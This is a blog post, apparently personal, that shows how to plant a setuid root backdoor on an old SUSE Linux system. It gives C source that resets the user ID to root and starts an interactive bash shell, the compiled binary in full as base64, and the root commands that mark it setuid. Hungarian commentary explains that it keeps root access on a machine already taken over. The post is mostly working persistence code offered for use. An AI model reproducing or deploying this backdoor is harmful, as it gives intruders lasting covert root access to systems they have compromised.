setuid backdoor for old systems

#include <unistd.h>

void main()
{

setreuid(0,0);
execl("/bin/bash","bash","-i",NULL);
}
> gcc bd.c -o bd
bd.c: In function ‘main’:
bd.c:4: warning: return type of ‘main’ is not ‘int’
boldi@linux-xm7e:~/h> file bd
bd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.4, dynamically linked (uses shared libs), for GNU/Linux 2.6.4, not stripped
boldi@linux-xm7e:~/h> base64 bd
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAQIMECDQAAACUFwAAAAAAADQAIAAJACgAJQAiAAYAAAA0
AAAANIAECDSABAggAQAAIAEAAAUAAAAEAAAAAwAAAFQBAABUgQQIVIEECBMAAAATAAAABAAAAAEA
AAABAAAAAAAAAACABAgAgAQIKAUAACgFAAAFAAAAABAAAAEAAAAUDwAAFJ8ECBSfBAgIAQAADAEA
AAYAAAAAEAAAAgAAACgPAAAonwQIKJ8ECMgAAADIAAAABgAAAAQAAAAEAAAAaAEAAGiBBAhogQQI
IAAAACAAAAAEAAAABAAAAAQAAACIAQAAiIEECIiBBAgYAAAAGAAAAAQAAAAEAAAAUeV0ZAAAAAAA
AAAAAAAAAAAAAAAAAAAABgAAAAQAAABS5XRkFA8AABSfBAgUnwQI7AAAAOwAAAAEAAAAAQAAAC9s
aWIvbGQtbGludXguc28uMgAABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAAAQAAAAFAAAABAAA
AFN1U0VTdVNFAAAAAAEACgIDAAAABgAAAAEAAAADAAAABQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAA
BAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAgAAAAOAAAAAAAAACfAQAAEgAAACkAAAAA
AAAAWwEAABIAAAAaAAAADIUECAQAAAARAA8ALwAAAAAAAAB7AAAAEgAAAABfX2dtb25fc3RhcnRf
XwBsaWJjLnNvLjYAX0lPX3N0ZGluX3VzZWQAZXhlY2wAc2V0cmV1aWQAX19saWJjX3N0YXJ0X21h
aW4AR0xJQkNfMi4wAAAAAAACAAIAAQACAAEAAQAQAAAAEAAAAAAAAAAQaWkNAAACAEoAAAAAAAAA
8J8ECAYBAAAAoAQIBwEAAASgBAgHAgAACKAECAcDAAAMoAQIBwUAAFWJ5YPsCOiFAAAA6NwAAADo
1wEAAMnDAP81+J8ECP8l/J8ECAAAAAD/JQCgBAhoAAAAAOng/////yUEoAQIaAgAAADp0P////8l
CKAECGgQAAAA6cD/////JQygBAhoGAAAAOmw////AAAAADHtXonhg+TwUFRSaECEBAhoUIQECFFW
aOSDBAjoq/////SQkFWJ5VOD7AToAAAAAFuBw4QcAACLk/z///+F0nQF6Hb///9YW8nDkJCQkJCQ
VYnlg+wIgD0coAQIAHQM6xyDwASjGKAECP/SoRigBAiLEIXSdevGBRygBAgBycOQVYnlg+wIoSSf
BAiFwHQSuAAAAACFwHQJxwQkJJ8ECP/QycOQjUwkBIPk8P9x/FWJ5VGD7BTHRCQEAAAAAMcEJAAA
AADoI////8dEJAwAAAAAx0QkCBCFBAjHRCQEE4UECMcEJBiFBAjo7/7//4PEFFldjWH8w5CQkJCQ
kJCQkJBVieVdw410JgCNvCcAAAAAVYnlV1ZT6F4AAACBw5kbAACD7Bzoa/7//42DIP///4lF8I2D
IP///ylF8MF98AKLVfCF0nQrMf+Jxo22AAAAAItFEIPHAYlEJAiLRQyJRCQEi0UIiQQk/xaDxgQ5
ffB134PEHFteX13Dixwkw5CQkFWJ5VOD7AShFJ8ECIP4/3QSMdv/0IuDEJ8ECIPrBIP4/3Xwg8QE
W13DkJCQVYnlU4PsBOgAAAAAW4HD/BoAAOiM/v//WVvJwwMAAAABAAIALWkAYmFzaAAvYmluL2Jh
c2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAA
AAAAAAEAAAAQAAAADAAAANSCBAgNAAAA7IQECAQAAACggQQIBQAAACyCBAgGAAAAzIEECAoAAABU
AAAACwAAABAAAAAVAAAAAAAAAAMAAAD0nwQIAgAAACAAAAAUAAAAEQAAABcAAAC0ggQIEQAAAKyC
BAgSAAAACAAAABMAAAAIAAAA/v//b4yCBAj///9vAQAAAPD//2+AggQIAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACifBAgAAAAAAAAAAAKDBAgSgwQI
IoMECDKDBAgAAAAAAAAAACCfBAgAR0NDOiAoR05VKSA0LjEuMiAyMDA2MTExNSAocHJlcmVsZWFz
ZSkgKFNVU0UgTGludXgpAABHQ0M6IChHTlUpIDQuMS4yIDIwMDYxMTE1IChwcmVyZWxlYXNlKSAo
U1VTRSBMaW51eCkAAEdDQzogKEdOVSkgNC4xLjIgMjAwNjExMTUgKHByZXJlbGVhc2UpIChTVVNF
IExpbnV4KQAAR0NDOiAoR05VKSA0LjEuMiAyMDA2MTExNSAocHJlcmVsZWFzZSkgKFNVU0UgTGlu
dXgpAABHQ0M6IChHTlUpIDQuMS4yIDIwMDYxMTE1IChwcmVyZWxlYXNlKSAoU1VTRSBMaW51eCkA
AEdDQzogKEdOVSkgNC4xLjIgMjAwNjExMTUgKHByZXJlbGVhc2UpIChTVVNFIExpbnV4KQAAR0ND
OiAoR05VKSA0LjEuMiAyMDA2MTExNSAocHJlcmVsZWFzZSkgKFNVU0UgTGludXgpAAAsAAAAAgCR
AAAABAAAAAAAZIMECCYAAADUggQICwAAAOyEBAgTAAAAAAAAAAAAAAAkAAAAAgAVAQAABAAAAAAA
6YIECAIAAAAEhQQIBAAAAAAAAAAAAAAAIQAAAAIAAAAAAJEAAAB5AAAAX0lPX3N0ZGluX3VzZWQA
AAAAAI0AAAACAAAAAAAEAQAAAABkgwQIZIMECAAAAAABLwAAAIYAAAACZgAAAAQHAk4AAAABCAJz
AAAAAgcCYQAAAAQHAlAAAAABBgI2AAAAAgUDaW50AAQFAkAAAAAIBQJcAAAACAcCRQAAAAQFAmYA
AAAEBwJXAAAAAQYErAAAAAEZiwAAAAEFAwyFBAgFTwAAAACAAAAAAgBCAAAABAEnAAAAAAAAAC91
c3Ivc3JjL3BhY2thZ2VzL0JVSUxEL2dsaWJjLTIuNS9jYy1ucHRsL2NzdS9jcnRpLlMAL3Vzci9z
cmMvcGFja2FnZXMvQlVJTEQvZ2xpYmMtMi41L2NzdQBHTlUgQVMgMi4xNy41MC4wLjUAAYCAAAAA
AgBUAAAABAHAAAAAKAAAAC91c3Ivc3JjL3BhY2thZ2VzL0JVSUxEL2dsaWJjLTIuNS9jYy1ucHRs
L2NzdS9jcnRuLlMAL3Vzci9zcmMvcGFja2FnZXMvQlVJTEQvZ2xpYmMtMi41L2NzdQBHTlUgQVMg
Mi4xNy41MC4wLjUAAYABEQEQBhIBEQElDhMLAw4bDgAAAiQAAw4LCz4LAAADJAADCAsLPgsAAAQ0
AAMOOgs7C0kTPwwCCgAABSYASRMAAAABEQAQBlUGAwgbCCUIEwUAAAABEQAQBlUGAwgbCCUIEwUA
AAAjAAAAAgAdAAAAAQH7Dg0AAQEBAQAAAAEAAAEAaW5pdC5jAAAAAACVAAAAAgBLAAAAAQH7Dg0A
AQEBAQAAAAEAAAEvdXNyL3NyYy9wYWNrYWdlcy9CVUlMRC9nbGliYy0yLjUvY2MtbnB0bC9jc3UA
AGNydGkuUwABAAAAAAUCZIMECAMLASEvIT1aIWdnLy9aISEhAgEAAQEABQLUggQIAyMBIS89AgUA
AQEABQLshAQIAzMBIS8hPVohAgYAAQFzAAAAAgBLAAAAAQH7Dg0AAQEBAQAAAAEAAAEvdXNyL3Ny
Yy9wYWNrYWdlcy9CVUlMRC9nbGliYy0yLjUvY2MtbnB0bC9jc3UAAGNydG4uUwABAAAAAAUC6YIE
CAMJASECAQABAQAFAgSFBAgDEgEhISECAQABAUdOVSBDIDQuMS4yIDIwMDYxMTE1IChwcmVyZWxl
YXNlKSAoU1VTRSBMaW51eCkAaW5pdC5jAHNob3J0IGludABsb25nIGxvbmcgaW50AHVuc2lnbmVk
IGNoYXIAbG9uZyBsb25nIHVuc2lnbmVkIGludABzaG9ydCB1bnNpZ25lZCBpbnQAL3Vzci9zcmMv
cGFja2FnZXMvQlVJTEQvZ2xpYmMtMi41L2NzdQBfSU9fc3RkaW5fdXNlZAAAAP////8AAAAAZIME
CIqDBAjUggQI34IECOyEBAj/hAQIAAAAAAAAAAD/////AAAAAOmCBAjrggQIBIUECAiFBAgAAAAA
AAAAAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5pbnRlcnAALm5vdGUuQUJJLXRhZwAubm90
ZS5TdVNFAC5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IA
LnJlbC5keW4ALnJlbC5wbHQALmluaXQALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWUALmlu
aXRfYXJyYXkALmN0b3JzAC5kdG9ycwAuamNyAC5keW5hbWljAC5nb3QALmdvdC5wbHQALmRhdGEA
LmJzcwAuY29tbWVudAAuZGVidWdfYXJhbmdlcwAuZGVidWdfcHVibmFtZXMALmRlYnVnX2luZm8A
LmRlYnVnX2FiYnJldgAuZGVidWdfbGluZQAuZGVidWdfc3RyAC5kZWJ1Z19yYW5nZXMAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAABAAAAAgAAAFSBBAhUAQAAEwAA
AAAAAAAAAAAAAQAAAAAAAAAjAAAABwAAAAIAAABogQQIaAEAACAAAAAAAAAAAAAAAAQAAAAAAAAA
MQAAAAcAAAACAAAAiIEECIgBAAAYAAAAAAAAAAAAAAAEAAAAAAAAADwAAAAFAAAAAgAAAKCBBAig
AQAALAAAAAUAAAAAAAAABAAAAAQAAABCAAAACwAAAAIAAADMgQQIzAEAAGAAAAAGAAAAAQAAAAQA
AAAQAAAASgAAAAMAAAACAAAALIIECCwCAABUAAAAAAAAAAAAAAABAAAAAAAAAFIAAAD///9vAgAA
AICCBAiAAgAADAAAAAUAAAAAAAAAAgAAAAIAAABfAAAA/v//bwIAAACMggQIjAIAACAAAAAGAAAA
AQAAAAQAAAAAAAAAbgAAAAkAAAACAAAArIIECKwCAAAIAAAABQAAAAAAAAAEAAAACAAAAHcAAAAJ
AAAAAgAAALSCBAi0AgAAIAAAAAUAAAAMAAAABAAAAAgAAACAAAAAAQAAAAYAAADUggQI1AIAABcA
AAAAAAAAAAAAAAQAAAAAAAAAewAAAAEAAAAGAAAA7IIECOwCAABQAAAAAAAAAAAAAAAEAAAABAAA
AIYAAAABAAAABgAAAECDBAhAAwAArAEAAAAAAAAAAAAAEAAAAAAAAACMAAAAAQAAAAYAAADshAQI
7AQAABwAAAAAAAAAAAAAAAQAAAAAAAAAkgAAAAEAAAACAAAACIUECAgFAAAaAAAAAAAAAAAAAAAE
AAAAAAAAAJoAAAABAAAAAgAAACSFBAgkBQAABAAAAAAAAAAAAAAABAAAAAAAAACkAAAADgAAAAMA
AAAUnwQIHBAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAsAAAAAEAAAADAAAAFJ8ECBQPAAAIAAAAAAAA
AAAAAAAEAAAAAAAAALcAAAABAAAAAwAAAByfBAgcDwAACAAAAAAAAAAAAAAABAAAAAAAAAC+AAAA
AQAAAAMAAAAknwQIJA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAwwAAAAYAAAADAAAAKJ8ECCgPAADI
AAAABgAAAAAAAAAEAAAACAAAAMwAAAABAAAAAwAAAPCfBAjwDwAABAAAAAAAAAAAAAAABAAAAAQA
AADRAAAAAQAAAAMAAAD0nwQI9A8AABwAAAAAAAAAAAAAAAQAAAAEAAAA2gAAAAEAAAADAAAAEKAE
CBAQAAAMAAAAAAAAAAAAAAAEAAAAAAAAAOAAAAAIAAAAAwAAABygBAgcEAAABAAAAAAAAAAAAAAA
BAAAAAAAAADlAAAAAQAAAAAAAAAAAAAAHBAAAHMBAAAAAAAAAAAAAAEAAAAAAAAA7gAAAAEAAAAA
AAAAAAAAAJARAABYAAAAAAAAAAAAAAAIAAAAAAAAAP0AAAABAAAAAAAAAAAAAADoEQAAJQAAAAAA
AAAAAAAAAQAAAAAAAAANAQAAAQAAAAAAAAAAAAAADRIAAJkBAAAAAAAAAAAAAAEAAAAAAAAAGQEA
AAEAAAAAAAAAAAAAAKYTAABmAAAAAAAAAAAAAAABAAAAAAAAACcBAAABAAAAAAAAAAAAAAAMFAAA
NwEAAAAAAAAAAAAAAQAAAAAAAAAzAQAAAQAAADAAAAAAAAAAQxUAALsAAAAAAAAAAAAAAAEAAAAB
AAAAPgEAAAEAAAAAAAAAAAAAAAAWAABIAAAAAAAAAAAAAAAIAAAAAAAAABEAAAADAAAAAAAAAAAA
AABIFgAATAEAAAAAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAXB0AACAFAAAkAAAAPgAA
AAQAAAAQAAAACQAAAAMAAAAAAAAAAAAAAHwiAADFAgAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAVIEECAAAAAADAAEAAAAAAGiBBAgAAAAAAwACAAAAAACIgQQIAAAAAAMAAwAA
AAAAoIEECAAAAAADAAQAAAAAAMyBBAgAAAAAAwAFAAAAAAAsggQIAAAAAAMABgAAAAAAgIIECAAA
AAADAAcAAAAAAIyCBAgAAAAAAwAIAAAAAACsggQIAAAAAAMACQAAAAAAtIIECAAAAAADAAoAAAAA
ANSCBAgAAAAAAwALAAAAAADsggQIAAAAAAMADAAAAAAAQIMECAAAAAADAA0AAAAAAOyEBAgAAAAA
AwAOAAAAAAAIhQQIAAAAAAMADwAAAAAAJIUECAAAAAADABAAAAAAABSfBAgAAAAAAwARAAAAAAAU
nwQIAAAAAAMAEgAAAAAAHJ8ECAAAAAADABMAAAAAACSfBAgAAAAAAwAUAAAAAAAonwQIAAAAAAMA
FQAAAAAA8J8ECAAAAAADABYAAAAAAPSfBAgAAAAAAwAXAAAAAAAQoAQIAAAAAAMAGAAAAAAAHKAE
CAAAAAADABkAAAAAAAAAAAAAAAAAAwAaAAAAAAAAAAAAAAAAAAMAGwAAAAAAAAAAAAAAAAADABwA
AAAAAAAAAAAAAAAAAwAdAAAAAAAAAAAAAAAAAAMAHgAAAAAAAAAAAAAAAAADAB8AAAAAAAAAAAAA
AAAAAwAgAAAAAAAAAAAAAAAAAAMAIQABAAAAAAAAAAAAAAAEAPH/DAAAAAAAAAAAAAAABADx/xgA
AAAAAAAAAAAAAAQA8f80AAAAAAAAAAAAAAAEAPH/OwAAAAAAAAAAAAAABADx/0YAAAAAAAAAAAAA
AAQA8f97AAAAZIMECAAAAAACAA0AiwAAAAAAAAAAAAAABADx/5YAAAAUnwQIAAAAAAEAEgCkAAAA
HJ8ECAAAAAABABMAsgAAACSfBAgAAAAAAQAUAL8AAAAcoAQIAQAAAAEAGQDOAAAAGKAECAAAAAAB
ABgA1QAAAJCDBAgAAAAAAgANAOsAAADAgwQIAAAAAAIADQCLAAAAAAAAAAAAAAAEAPH/9wAAABif
BAgAAAAAAQASAAQBAAAgnwQIAAAAAAEAEwARAQAAJIUECAAAAAABABAAHwEAACSfBAgAAAAAAQAU
ACsBAADAhAQIAAAAAAIADQA7AAAAAAAAAAAAAAAEAPH/QQEAAAAAAAAAAAAABADx/3YBAAAAAAAA
AAAAAAQA8f97AQAA9J8ECAAAAAABAhcAkQEAABSfBAgAAAAAAAIRAKIBAAAUnwQIAAAAAAACEQC1
AQAAKJ8ECAAAAAABAhUAvgEAABCgBAgAAAAAIAAYAMkBAABAhAQIBQAAABIADQDZAQAAQIMECAAA
AAASAA0A4AEAAAAAAAAAAAAAIAAAAO8BAAAAAAAAAAAAACAAAAADAgAACIUECAQAAAARAA8ACgIA
AOyEBAgAAAAAEgAOABACAAAAAAAAnwEAABIAAAAtAgAAAAAAAFsBAAASAAAAPgIAAAyFBAgEAAAA
EQAPAE0CAAAQoAQIAAAAABAAGABaAgAAFKAECAAAAAARAhgAZwIAAFCEBAhpAAAAEgANAHcCAAAc
oAQIAAAAABAA8f+DAgAAAAAAAHsAAAASAAAAlwIAACCgBAgAAAAAEADx/5wCAAAcoAQIAAAAABAA
8f+jAgAAuYQECAAAAAASAg0AugIAAOSDBAhSAAAAEgANAL8CAADUggQIAAAAABIACwAAYWJpLW5v
dGUuUwBzdXNlLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRm
aW5pLmMAL3Vzci9zcmMvcGFja2FnZXMvQlVJTEQvZ2xpYmMtMi41L2NjLW5wdGwvY3N1L2NydGku
UwBjYWxsX2dtb25fc3RhcnQAY3J0c3R1ZmYuYwBfX0NUT1JfTElTVF9fAF9fRFRPUl9MSVNUX18A
X19KQ1JfTElTVF9fAGNvbXBsZXRlZC41NzUyAHAuNTc1MABfX2RvX2dsb2JhbF9kdG9yc19hdXgA
ZnJhbWVfZHVtbXkAX19DVE9SX0VORF9fAF9fRFRPUl9FTkRfXwBfX0ZSQU1FX0VORF9fAF9fSkNS
X0VORF9fAF9fZG9fZ2xvYmFsX2N0b3JzX2F1eAAvdXNyL3NyYy9wYWNrYWdlcy9CVUlMRC9nbGli
Yy0yLjUvY2MtbnB0bC9jc3UvY3J0bi5TAGJkLmMAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9faW5p
dF9hcnJheV9lbmQAX19pbml0X2FycmF5X3N0YXJ0AF9EWU5BTUlDAGRhdGFfc3RhcnQAX19saWJj
X2NzdV9maW5pAF9zdGFydABfX2dtb25fc3RhcnRfXwBfSnZfUmVnaXN0ZXJDbGFzc2VzAF9mcF9o
dwBfZmluaQBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGV4ZWNsQEBHTElCQ18yLjAAX0lP
X3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2luaXQAX19i
c3Nfc3RhcnQAc2V0cmV1aWRAQEdMSUJDXzIuMABfZW5kAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3Ro
dW5rLmJ4AG1haW4AX2luaXQA

sh-3.1# chown root.root bd
sh-3.1# chmod u+s bd
sh-3.1# ls -ls
total 28
12 -rwsr-xr-x 1 root root 9537 Jun 28 02:50 bd
16 -rw-r–r– 1 boldi users 12885 Jun 28 02:48 bd.b64
sh-3.1# ls -la
total 36
drwxr-xr-x 2 boldi users 4096 Jun 28 02:50 .
drwx—— 4 boldi root 4096 Jun 28 02:48 ..
-rwsr-xr-x 1 root root 9537 Jun 28 02:50 bd
-rw-r–r– 1 boldi users 12885 Jun 28 02:48 bd.b64

Volt root userunk, de stabilizálni kellett, a sudo meg nem ment jól, akkor rakjunk fel egy suid root backdoort. oké, de nincs gcc, fordítsuk le máshol , aztán a root shellben állítsuk be suid rootra, aztán majd a user csak elindítja és bumm.

de fontos hogy ez egy suse 10.1 rendszer így jobb, ha ott fordítjuk a binárisokat. ezért van itt base64ben amit fordítottam.

This entry was posted on June 28, 2024 at 1:47 am and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Leave a Reply


Warning: Undefined variable $user_ID in /data/web/html/boldiphishing/wordpress/wp-content/themes/fishlover/comments.php on line 47

You must be logged in to post a comment.